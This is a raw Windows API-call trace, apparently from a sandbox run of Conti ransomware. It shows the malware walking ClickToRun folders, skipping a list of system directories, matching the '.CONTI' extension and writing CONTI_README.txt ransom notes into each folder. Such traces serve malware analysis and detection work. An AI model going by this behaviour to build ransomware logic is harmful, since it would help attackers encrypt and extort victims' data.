	[0098.347] lstrcpyW (in: lpString1=0x17d0590, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}"
	[0098.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\"
	[0098.347] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\", lpString2="UserManifest.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml"
	[0098.347] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d48a8) returned 1
	[0098.347] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3e7a0 | out: lpFindFileData=0x5c3e7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x5c3ea3c, dwReserved1=0xb6884, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0
	[0098.347] GetProcessHeap () returned 0x1720000
	[0098.347] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c32b8 | out: hHeap=0x1720000) returned 1
	[0098.347] FindClose (in: hFindFile=0x17c8070 | out: hFindFile=0x17c8070) returned 1
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3190 | out: hHeap=0x1720000) returned 1
	[0098.348] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3ea10 | out: lpFindFileData=0x5c3ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ecac, dwReserved1=0xb6884, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c30b0 | out: hHeap=0x1720000) returned 1
	[0098.348] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173aca0 | out: hHeap=0x1720000) returned 1
	[0098.348] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733930 | out: hHeap=0x1720000) returned 1
	[0098.348] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0098.348] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e41d8 | out: hHeap=0x1720000) returned 1
	[0098.348] FindClose (in: hFindFile=0x17c8030 | out: hFindFile=0x17c8030) returned 1
	[0098.348] GetProcessHeap () returned 0x1720000
	[0098.348] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740af0 | out: hHeap=0x1720000) returned 1
	[0098.348] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74583d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e74583d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.348] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.348] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.348] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.348] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.348] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2=".") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="..") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="tmp") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="winnt") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="Application Data") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="AppData") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="temp") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="thumb") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="$Recycle.Bin") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="$RECYCLE.BIN") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="System Volume Information") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="Program Files") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="Program Files (x86)") returned -1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="Boot") returned 1
	[0098.349] lstrcmpiW (lpString1="Integration", lpString2="Windows") returned -1
	[0098.349] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned 47
	[0098.349] lstrlenW (lpString="Integration") returned 11
	[0098.349] GetProcessHeap () returned 0x1720000
	[0098.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e3fd8
	[0098.349] lstrcpyW (in: lpString1=0x17e3fd8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0098.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\"
	[0098.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\", lpString2="Integration" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration"
	[0098.349] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned 59
	[0098.349] GetProcessHeap () returned 0x1720000
	[0098.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176bac8
	[0098.349] lstrcpyW (in: lpString1=0x176bac8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration"
	[0098.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*"
	[0098.349] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned 59
	[0098.349] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.349] GetProcessHeap () returned 0x1720000
	[0098.349] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173f140
	[0098.349] lstrcpyW (in: lpString1=0x173f140, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration"
	[0098.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\"
	[0098.349] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\CONTI_README.txt"
	[0098.349] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.350] GetProcessHeap () returned 0x1720000
	[0098.350] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f140 | out: hHeap=0x1720000) returned 1
	[0098.350] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.351] CloseHandle (hObject=0x37c) returned 1
	[0098.351] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0098.351] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.351] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.351] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.351] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.351] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e76b863, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e76b863, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.351] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.351] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.351] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.351] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.351] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2=".") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="..") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="tmp") returned -1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="winnt") returned -1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="Application Data") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="AppData") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="temp") returned -1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="thumb") returned -1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="$Recycle.Bin") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="$RECYCLE.BIN") returned 1
	[0098.351] lstrcmpiW (lpString1="ShortcutBackups", lpString2="System Volume Information") returned -1
	[0098.352] lstrcmpiW (lpString1="ShortcutBackups", lpString2="Program Files") returned 1
	[0098.352] lstrcmpiW (lpString1="ShortcutBackups", lpString2="Program Files (x86)") returned 1
	[0098.352] lstrcmpiW (lpString1="ShortcutBackups", lpString2="Boot") returned 1
	[0098.352] lstrcmpiW (lpString1="ShortcutBackups", lpString2="Windows") returned -1
	[0098.352] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned 59
	[0098.352] lstrlenW (lpString="ShortcutBackups") returned 15
	[0098.352] GetProcessHeap () returned 0x1720000
	[0098.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x98) returned 0x173fcf0
	[0098.352] lstrcpyW (in: lpString1=0x173fcf0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration"
	[0098.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\"
	[0098.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\", lpString2="ShortcutBackups" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups"
	[0098.352] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned 75
	[0098.352] GetProcessHeap () returned 0x1720000
	[0098.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9c) returned 0x173e618
	[0098.352] lstrcpyW (in: lpString1=0x173e618, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups"
	[0098.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*"
	[0098.352] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned 75
	[0098.352] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.352] GetProcessHeap () returned 0x1720000
	[0098.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cbe68
	[0098.352] lstrcpyW (in: lpString1=0x17cbe68, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups"
	[0098.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\"
	[0098.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\CONTI_README.txt"
	[0098.352] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.353] GetProcessHeap () returned 0x1720000
	[0098.353] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbe68 | out: hHeap=0x1720000) returned 1
	[0098.353] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.353] CloseHandle (hObject=0x380) returned 1
	[0098.354] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80f0
	[0098.354] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.354] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.354] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.354] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.354] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e76b863, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e76b863, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.354] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.354] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.354] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.354] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.354] FindNextFileW (in: hFindFile=0x17c80f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e76b863, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e76b863, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e76b863, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.354] GetProcessHeap () returned 0x1720000
	[0098.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e618 | out: hHeap=0x1720000) returned 1
	[0098.354] FindClose (in: hFindFile=0x17c80f0 | out: hFindFile=0x17c80f0) returned 1
	[0098.354] GetProcessHeap () returned 0x1720000
	[0098.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fcf0 | out: hHeap=0x1720000) returned 1
	[0098.354] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0
	[0098.354] GetProcessHeap () returned 0x1720000
	[0098.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bac8 | out: hHeap=0x1720000) returned 1
	[0098.354] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0098.354] GetProcessHeap () returned 0x1720000
	[0098.354] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3fd8 | out: hHeap=0x1720000) returned 1
	[0098.354] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85eb08ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0
	[0098.355] GetProcessHeap () returned 0x1720000
	[0098.355] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740d50 | out: hHeap=0x1720000) returned 1
	[0098.355] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0098.355] GetProcessHeap () returned 0x1720000
	[0098.355] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0a58 | out: hHeap=0x1720000) returned 1
